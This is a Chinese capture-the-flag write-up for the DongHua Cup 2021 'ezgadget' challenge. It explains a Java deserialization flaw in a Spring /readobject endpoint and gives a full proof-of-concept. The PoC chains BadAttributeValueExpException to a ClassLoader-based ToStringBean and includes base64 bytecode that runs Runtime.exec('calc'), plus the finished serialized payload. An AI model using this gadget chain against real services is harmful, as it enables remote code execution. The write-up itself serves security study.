[东华杯2021] ezgadget
创始人
2024-03-04 12:45:50
0

复现环境配置:

链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 
提取码:8do5

运行

java -jar ezgadget.jar

访问127.0.0.1:8888就可以了

分析:

ToStringBean.java

package com.ezgame.ctf.tools;import java.io.Serializable;public class ToStringBean extends ClassLoader implements Serializable {private byte[] ClassByte;public String toString() {com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);Object Obj = null;try {Obj = clazz.newInstance();} catch (InstantiationException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return "enjoy it.";}
}

该类继承了 serializeable 接口和 ClassLoader 接口,说明可以字节码动态加载,并且在toString 方法中,看到了 defineClass . 就可以任意代码执行,这里的ClassByte 可控,那我们就可以执行命令字节码文件,构造一个 字节码类:

构造代码:

public class Payload {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");ToStringBean toStringBean = new ToStringBean();//改属性Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");classByte.setAccessible(true);classByte.set(toStringBean,bytes);}
}

接着看控制器 IndexController.java

package com.ezgame.ctf.controller;import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;@Controller
public class IndexController {@ResponseBody@RequestMapping({"/"})public String index(HttpServletRequest request, HttpServletResponse response) {return "index";}@ResponseBody@RequestMapping({"/readobject"})public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {byte[] b = Tools.base64Decode(data);InputStream inputStream = new ByteArrayInputStream(b);ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);String name = objectInputStream.readUTF();int year = objectInputStream.readInt();if (name.equals("gadgets") && year == 2021)objectInputStream.readObject();return "welcome bro.";}
}

看到 /readobject ,传参data 时,他会用到Tools 中的 base64解密,然后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,再进行 IF 判断 

if (name.equals("gadgets") && year == 2021)

之后会调用  objectInputStream.readObject();  而这里的,在CC5中 BadAttributeValueExpException  类中重写了readObject(), 可以调用任意类的 toString() 方法

类中需要通过构造方法修改val的值, 在 通过gf.get("val",null ) 传给 valobj ,在最后面调用了readObject 里的valobj.toString();

public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}
}

所以我们要构造 val = toStringBean类  这里 不能实例化BadAttributeValueExpException时 ,直接就把val给赋值,直接把把值赋给val否则在readObject()前就会执行toString,反序列化就无效了

//先构造
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("snowyf");
//再改值
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

之后就是过前面的if 判断。

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

Tools.java

package com.ezgame.ctf.tools;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;public class Tools {public static byte[] base64Decode(String base64) {Base64.Decoder decoder = Base64.getDecoder();return decoder.decode(base64);}public static String base64Encode(byte[] bytes) {Base64.Encoder encoder = Base64.getEncoder();return encoder.encodeToString(bytes);}public static byte[] serialize(Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}public static Object deserialize(byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}
}

最后调用的Tools 中的base64 加密即可

byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);

POC

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;public class Payload {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {//byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));//修改ToStringBean 中 byte 可以加载我们的恶意字节码ToStringBean toStringBean = new ToStringBean();//改属性Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");classByte.setAccessible(true);classByte.set(toStringBean,bytes);//修改val  调用任意toStringBadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Snowyf");Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,toStringBean);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeUTF("gadgets");objectOutputStream.writeInt(2021);objectOutputStream.writeObject(badAttributeValueExpException);//加密byte[] bytes1 = byteArrayOutputStream.toByteArray();String s = Tools.base64Encode(bytes1);System.out.println(s);//rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAF3QAB1BheWxvYWR0AAxQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAMVG9TdHJpbmdCZWFu0IEsQu+2UaQCAAFbAAlDbGFzc0J5dGV0AAJbQnhwdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEADUV2aWxUZXN0LmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAcQ29tbW9uc0NvbGxlY3Rpb25zMy9FdmlsVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAABMACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFQAEABYADQAXAAsAAAAEAAEAEAABABEAAAACABI=}
}

 

成功弹窗

相关内容

热门资讯

幼儿园晨会主持词 幼儿园晨会主持词  美好的一天从早上开始,从晨会开始,从大家的好的状态开始,从最好的开始。以下是小编...
诗文诵读展示主持词 诗文诵读展示主持词  主持词没有固定的格式,他的最大特点就是富有个性。在当今不断发展的世界,很多晚会...
大学生毕业典礼的主持词 大学生毕业典礼的主持词(精选5篇)  活动对象的不同,主持词的写作风格也会大不一样。在当下的社会中,...
婚礼的主持词 婚礼的主持词  婚礼的主持词(精选21篇)  主持词的写作要突出活动的主旨并贯穿始终。随着社会一步步...
主婚人致辞 主婚人致辞(精选6篇)  在生活、工作和学习中,大家都写过致辞吧,致辞具有很强的实用性和针对性。还在...
促销活动主持词 促销活动主持词  利用在中国拥有几千年文化的诗词能够有效提高主持词的感染力。在现今人们越来越重视活动...
小品活动的主持词 小品活动的主持词  【篇一】  各位亲爱的老师,同学们,大家下午好!  欢迎来到天津师范大学新闻传播...
森林报好词好句 森林报好词好句  好词:  小巧玲珑 飞云流雾 红日西垂 霞光四射 层峦叠嶂 水天相接  轻歌曼舞 ...
早会主持稿 早会主持稿(精选5篇)  在现在社会,我们可以使用主持稿的机会越来越多,主持稿是主持人为节目进行过程...
优秀员工颁奖词 优秀员工颁奖词大全  在平时的学习、工作或生活中,大家都经常接触到颁奖词吧,颁奖词是在某一主题的颁奖...
女儿出阁司仪主持词 女儿出阁司仪主持词范文  主持词要把握好吸引观众、导入主题、创设情境等环节以吸引观众。在当下的中国社...
歌颂祖国串词 歌颂祖国串词一。各位领导 各位来宾,大家晚上好。今天我们这里篷壁生辉,喜气洋溢,是因为有您们的光临,...
小学生庆元旦联欢会主持词 小学生庆元旦联欢会主持词范文(精选5篇)  主持词要注意活动对象,针对活动对象写相应的主持词。在现今...
新年升旗仪式致辞 新年升旗仪式致辞(精选14篇)  在现实生活或工作学习中,说到致辞,大家肯定都不陌生吧,致辞具有思路...
表演半台词 表演三句半台词  敲锣打鼓走圆场  1:锣鼓一响好心情,  2:我们漫游动画城;  3:表演一个三句...
毕业30周年同学聚会主持词 毕业30周年同学聚会主持词范文  老同学聚会,一桌饭菜,谈论着当年的同学情,好不快活呀,往日是多么的...
结训典礼主持词 结训典礼主持词范文  主持词是主持人在节目进行过程中用于串联节目的串联词。在当今中国社会,各种集会中...
集团董事长新年的经典致辞 集团董事长新年的经典致辞(通用13篇)  在平平淡淡的学习、工作、生活中,大家对致辞都不陌生吧,致辞...